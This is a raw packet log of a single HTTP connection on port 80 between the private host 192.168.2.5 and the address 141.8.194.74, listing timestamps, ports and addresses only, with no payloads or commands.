Jan 13, 2022 20:51:29.216962099 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.216963053 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.216991901 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217005014 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.217019081 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217041969 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217066050 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217077017 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.217092037 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217109919 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.217117071 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217140913 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217158079 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.217164993 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217201948 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217220068 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.217225075 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217248917 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217266083 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.217273951 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217298985 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217314959 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.217319965 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217344046 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217358112 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.217367887 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217391968 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217407942 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.217413902 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217442036 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217453003 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.217463970 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217485905 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217503071 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.217509031 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217533112 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217550039 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.217556953 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217581034 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217598915 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.217606068 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217631102 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217648983 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.217654943 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217674017 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217691898 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217700958 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.217709064 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217729092 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217736959 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.217750072 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217767954 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217776060 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.217787027 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217803955 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217813015 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.217823029 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217845917 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.217845917 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217885017 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.217905045 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.260701895 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.260750055 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.260823965 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.289258003 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.289307117 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.289340973 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.289360046 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.289381027 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.289385080 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.289407969 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.289413929 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.289432049 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.289436102 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.289455891 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.289479017 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.289483070 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.289504051 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.289525032 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.289526939 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.289551973 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.289571047 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.289577007 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.289603949 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.289624929 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.289628983 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.289654970 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.289678097 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.289680004 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.289704084 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.289726973 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.289730072 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.289756060 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.289769888 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.289782047 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.289807081 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.289824963 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.289833069 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.289881945 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.289906979 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.289906979 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.289930105 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.289953947 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.289956093 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.289983034 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.290009022 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.290018082 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.290046930 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.290070057 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.290071011 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.290096045 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.290112972 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.290129900 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.290157080 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.290170908 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.290183067 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.290208101 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.290221930 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.290234089 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.290256977 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.290277958 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.290281057 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.290307045 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.290323019 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.290332079 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.290358067 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.290373087 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.290384054 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.290410042 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.290431976 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.331589937 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.331626892 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.331654072 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.331680059 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.331705093 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.331715107 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.331728935 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.331744909 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.331754923 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.331780910 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.331804037 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.331809044 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.331830978 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.331856012 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.331865072 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.331881046 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.331903934 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.331904888 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.331931114 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.331952095 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.331958055 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.331984043 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.331999063 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.332007885 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332035065 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332057953 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.332058907 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332086086 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332104921 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.332112074 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332138062 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332159042 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.332166910 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332192898 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332211971 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.332215071 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332241058 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332267046 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332268000 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.332289934 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332310915 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.332313061 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332336903 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332360029 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.332361937 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332386017 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332403898 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.332454920 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332479954 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332504988 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332504988 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.332530022 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332551956 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.332552910 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332578897 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332581043 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.332603931 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332607031 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.332628965 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332650900 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.332653999 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332679033 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332701921 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.332704067 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332724094 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.332730055 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332743883 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.332807064 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332858086 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.332863092 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332890034 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332914114 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332931042 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.332971096 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.332994938 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.333024979 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.333025932 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.333051920 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.333054066 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.333076000 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.333080053 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.333098888 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.333122015 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.335263968 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.361126900 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.361160040 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.361182928 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.361203909 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.361227036 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.361248970 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.361270905 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.361279964 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.361293077 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.361352921 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.361357927 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.361382008 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.361402988 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.361424923 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.361433983 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.361449003 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.361469984 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.361473083 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.361491919 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.361514091 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.361526012 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.361531973 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.361555099 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.361576080 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.361578941 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.361597061 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.361623049 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.361634970 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.361649990 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362076998 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362098932 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362121105 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362139940 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.362142086 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362164974 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362168074 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.362186909 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362207890 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362221956 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.362229109 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362253904 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362276077 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362286091 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.362298012 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362320900 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362330914 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.362343073 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362353086 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.362365961 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362386942 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362387896 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.362416983 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362438917 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362459898 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362468958 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.362483025 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362504959 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362509966 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.362528086 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362538099 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.362549067 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362571001 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.362571955 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362595081 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362616062 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362634897 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.362637043 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362658978 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362667084 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.362682104 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362704992 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362709045 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.362726927 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362749100 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362754107 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.362770081 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362795115 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362797022 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.362818003 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362840891 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362843990 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.362862110 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362883091 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362891912 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.362905025 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362926960 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362930059 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.362947941 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362970114 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.362972021 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.362993956 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.363022089 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.363023043 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.363044024 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.363064051 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.363065004 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.363085985 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.363106966 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.363109112 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.363142967 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.363152027 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.363166094 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.363189936 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.363212109 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.363214970 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.363234997 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.363255978 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.363256931 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.363279104 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.363298893 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.363298893 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.363323927 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.363338947 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.363347054 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.363368034 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.363389015 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.363409996 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.363430977 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.363446951 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.363451958 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.363455057 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.363476992 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.363487959 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.363498926 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.363521099 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.363523006 CET	49841	80	192.168.2.5	141.8.194.74
